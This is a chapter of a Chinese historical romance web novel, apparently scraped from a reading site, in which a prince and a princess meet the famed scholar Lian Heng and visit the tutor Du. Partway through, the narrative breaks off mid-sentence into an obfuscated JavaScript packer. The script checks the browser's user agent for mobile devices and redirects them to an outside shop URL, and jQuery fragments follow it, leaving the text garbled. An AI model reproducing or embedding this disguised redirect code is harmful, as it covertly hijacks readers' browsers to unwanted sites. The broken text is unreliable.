默认冷灰
24号文字
方正启体

100. 簪花

作者:泥作花本书字数:K更新时间:
    许长风知她想问什么,叹了口气,愧疚道:“那是因为我。父王怕她会威胁我的地位而百般打压王姐。”


    她怔怔地望着他,没想到他能直面自己享受到的特例。


    “其实储君之位谁当我不在乎,许国百姓还是夏国百姓本不该如此分,他们都应该吃饱,这话你信吗?”


    夏轻染垂眸,她没有回答他。因为连她自己也没有这么大义,怎么去相信别人。师父说成全别人就是委屈自己,她肩负使命,最忌感情用事。


    下山后,夏国覆灭,她想的是不惜一切复仇复国,没想地过会因此给百姓带来什么。


    见她没说话,许长风也不再开口,他的想法连王姐都不相信,又怎么能指望她相信。因为父王的看重,景阳宫的官员和幕僚们皆心安理得地幻想他登大位的那天。可是这是对王姐的否定和挑衅,他无法让人相信他没有夺权的心也就只能努力做好,让王姐期待的国富民丰早日实现。


    车里一片阒静,两人各自沉思。又往前行了一段路突然的喧闹将二人唤醒。许长风撩开车帘,看见一辆精致安车前围着数不清的年轻男女,他们全都往车上扔花,有些没拿到花的哪怕树叶或草都拿了一些,一股脑地往车上扔去。


    夏轻染透过缝隙只看到人挤人,对面车上的帘子已湿了大片,各色花汁和草汁杂糅染就斑斓色,车前人全都激动亢奋,姑娘们的脸羞红一片,男子们举着自己的文章以期里面的人能瞧上一眼。


    许长风笑了出来,放下车帘对夏轻染道:“真巧,今日倒叫你看到什么是‘掷花濡帘’。”


    这么冷不丁的一句话听得她百思不解,蛾眉小蹙。


    “你猜对面人是谁?”


    她摇了摇头,什么人会引起如此骚动?


    “是我们的簪花郎连珩公子。”


    说完他唤了声孤竹,孤竹了然,指挥着几排士兵挤进这些疯狂的人群,并大声说“太子殿下驾到!”


    吼了几声这些人群才终于退开一米,并跪下行礼。


    许长风探出身,站在车辕上抬手让众人起身,温和说道:“孤和簪花郎有事磋商,还请诸位让路。快到年底,届时宫廷设宴,簪花郎也会赴宴,诸位再来瞻仰簪花郎的风采。”


    他这么一说,众人交耳议论几番后自觉地让出位置,对面马车这才可以行驶。许长风叫上夏轻染一起下马车,走了几步后上了对面马车。


    一进去便看到连珩端坐车内捧着一本古籍慢慢品味,车帘隙处照进来一缕日芒,浮尘披金,他长而密的眼睫掩盖专注,脸曝在金光里耀眼得刺目。


    车里的茶热气氤氲,时而冲开他垂落的鬓发,外面的喧闹对他来说如淙淙流水反而添了一丝野趣,宛如置身冷泉品书成痴的间外人。


    许长风坐下来打趣道:“攻玉,我这张太子的脸面全是因为你才被鄑云城的百姓熟知,你却在里面云淡风轻地品茶看书。”


    连珩抬眸明朗一笑,谢道:“多谢了。”


    看到夏轻染讶异一瞬,转而歉意笑道:“长宁公主也在,见笑了。”


    夏轻染摇头,有些迷茫。许长风边调侃边解释起来。


    自杜太傅收连珩为关门弟子后,见他在读书造诣上颇有天赋,于是倾尽所学教他,他也不负众望,在杜太傅所有学生当中成就也是最高的,一篇《铸文骨》让天下学子奉为圭镍。


    其文近五千字,力透纸背地写了如何立心塑骨传承圣学,文章中多是些謷牙诘屈的字句,将枯燥晦暗的求学说得激荡澎湃,别说能背下来,就是通读的人也是少之又少。


    除了展现他扎实博学的文字功底外,这篇文章同时还是值得临摹的字帖,他的字与他的人相反,雄浑一体又兼具飘逸,被不少爱好书法的人拿来观摩练习,求其半分笔力。


    杜太傅苦心教养的人自然不愿他进入官场,最后失了本心,于是要他以文心立誓,永不入仕,只为往圣继绝学,并给他取表字“攻玉”,玉质作魂,文心为骨,不受污浊。


    是以虽然无半点官职,出身将军府师承杜太傅天下学子奉为神子又有玲珑心的他受到上至许王下至百姓的爱重,除此之外,又因长相成为女子们的梦里人。


    而簪花郎一词乃是有一年桃花盛开,他见经雨的桃花心生怜爱,于是摘了两朵并陇簪在耳鬓。娇艳的桃花映着如玉般的人,花更艳人更洁,于是簪花郎这一美称不径而走。


    他簪花的这一美景被人传得神乎其神,很多人都重金求人画出十之一二的神韵,于是靠卖簪花图成了鄑云城一个产业,养活了不少人。


    买簪花图的人不仅有女子还有很多男子,女子瞻仰其神采是为了思/春,而男子则供奉簪花图以求得簪花郎看一眼他的文章,又或者像簪花郎一样立文心,写出传世之作。但直到现在,能入簪花郎青眼的文章没有一篇。


    正是因为如此,所以他也受声名所累,每次出行只要被人看到,必定像今日这般走不开,这些人纷纷拦路掷花给他,多到花汁都能把车帘打湿,所以掷花濡帘就是形容簪花郎出行的盛况。


    为此他出行甚为低调,一般不坐将军府或者太傅府的马车,怕别人猜出是他,都是以景阳宫的名头出行,因为太子殿下一般人不敢打扰或者注目。


    而许长风为此还做了几辆一模一样的马车就是为了让他方便出行,没想到今日不知怎的被风吹开车帘,恰巧被人看到,一声惊呼下,闻声而动的人数不胜数,马车走不动了,他也就耐心在车里看起书来,任外面为之痴狂也无动于衷。


    夏轻染进城是直接带去宫里,不然也能在大街上随处可看到卖簪花图的摊贩。而刚刚他们所行一路皆有,只是许长风以为这么突兀地介绍一个人有点唐突就没指给她看。现下遇到了才解释出来。


    听完解释夏轻染笑道:“能看到掷花濡帘这一盛况不枉来许国一遭。”


    连珩惭愧说,“长宁公主快莫要打趣,幸好遇见你们,不然不知耗到何时。大恩不言谢,连珩记住了。”说完他作揖躬了躬身。


    夏轻染点头还礼,许长风问他:“你去哪里?我送你过去。”


    “这几日风霜大了,想去看看老师,你们呢?”


    “我们出宫闲逛,既如此就一起去看看老师,只是轻染要委屈你跟我们走一趟了。”他不好意思地看向夏轻染。


    “杜太傅德高望重,身为晚辈理应去拜访,这是我的荣幸。”杜婉音的爷爷,她也想看看他与许长风关系如何,万一查出杜婉音的死真和许长风有关,不知这师生情能否抵得过亲情?


    出了未央街尽头再拐个弯就到了杜太傅住所,夏轻染本以为杜府恢宏气派又兼具古扑,没想到府邸够大,只是规模陈旧,些许青砖黛瓦因为损毁夹杂着新砖新瓦,大门上的漆剥落了很多,又重新刷了一遍,偏偏又保留之前的,看起来非常怪异,像一个疮痍老人到处都在修补。


    而门头上亦不是杜府二字而是“倪府”,她狐疑地看着门头上的牌匾发呆,直到许长风叫她才怔怔回神。


    压下疑虑,跟着二人进府,眠星亦跟在后面,一进府或许是回到家了眠星小声和夏轻染耳语两句后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017056|194225||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    独自走开。孤竹带着侍卫们守在府外。


    下人们早已禀报杜太傅,三人才进院子他便迎了出来,拱手作揖朝许长风行礼。因为他是储君,谨慎笃礼的杜太傅始终坚持要先给君行礼。待他行礼过后,许长风和连珩才拱手作揖,朝杜太傅行礼。


    师徒礼毕这才看向夏轻染,她向前一步也拱手行大揖礼。她是一国公主,行礼和男子一样,在心艮山只向师父行礼,在熙国伪装宫女的那段时间行的是婢女的屈膝礼,而现在即使为质,她也不能失了身份。


    杜太傅还礼,说:“长宁公主贵驾,老夫惶恐。”


    “杜太傅言重了,太傅三朝帝师,如今我借住景阳宫,按理早该来拜会。”


    杜太傅邀请三人入室,下人奉茶。夏轻染打眼瞧室内,桌椅是上好的黄花梨木,有些还是檀木,看起来有些年份,才刷了新漆,亮锃锃的。落地的大瓷瓶和桌上的花瓶都有些年份,不过帷幔应该是近几年的。


    她猜测这座屋子的大部分东西应该很久了,也许是前一任主人家的。以杜太傅的地位,着实不该如此陈旧。


    几人落坐后杜太傅才说:“粗茶一盏还请长宁公主不要嫌弃。”


    夏轻染淡笑道:“能喝一口太傅的茶是多少人求而不得的,何况还有簪花郎和太子殿下作陪。”


    许长风笑了笑,连珩知她打趣也无奈地笑了笑。


    杜太傅摸了一把胡子,哈哈笑道:“老夫门下学生无数,也只有这关门弟子不学无术靠着一张脸招惹是非,这下连长宁公主也知道了,看来老夫晚节不保,败在这小子身上了。”


    他嘴上说得嫌弃,神情却是万分骄傲,有种得此学生死而无憾的满足。


    连珩连忙起身,朝杜太傅和夏轻染各自弯腰行礼,求饶道:“给老师丢脸了,还请公主放过。”


    几人笑了笑,打趣一事告一段落。


    以往许、连二人若是分别来拜访,杜太傅则跟许长风讨论安民经国之策,跟连珩讨论治学之理,若是二人一起则讨论一些当下发生的事。


    现在夏轻染在,有些话不好说,于是几人便说了一些腊月间各地的风俗及祭祀,还提到鄑云城一些风物,嘱咐夏轻染有机会要尝尝,多是一些礼节性的寒喧。


    如此说了半个时辰后下人们传膳,几人便一同用膳。杜太傅喜笑颜开,孙女逝去后这是人最多的一天。膳毕,几人又饮了一壶茶说了些话,许长风才起身拜别,三人一同朝太傅拜礼过后出府,眠星也去看了杜婉音生前的屋子,思念不已,出来时眼眶发红。


    考虑到连珩太过招摇许长风亲自送他回去,半路上连珩出声让安车停在后门不要从前门进去。许长风了然他想避开前门的窥探于是吩咐车夫。


    冬天日短,到将军府后门时已暮色沉沉,连珩下了车朝二人行礼告别,并说看着他们先走。


    许长风笑笑没说什么,示意车夫离开。孤竹带着侍卫们跟在后面。车里夏轻染沉思,许长风出声问:“怎么了?”


    她摇头,说:“我在想眠星总是说她家小姐对她有多好,今日回去触景生情怪不得她眼睛红红的。”


    她故意提杜婉音想看看他的反应,许长风闻言刚刚还平和的神情瞬间染上悲伤,眸里的光黯淡下来,如一潭定水。


    他垂眸掩盖眸子透出来的情绪,手不自觉地缩进袖里,连眠星都会触景生情,他又怎么能谈笑风声。只是老师又老了很多,他又怎么敢再次牵动老人家的情绪。


    夏轻染见他沉默于是换了话题,问他:“太傅府为什么是倪府?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)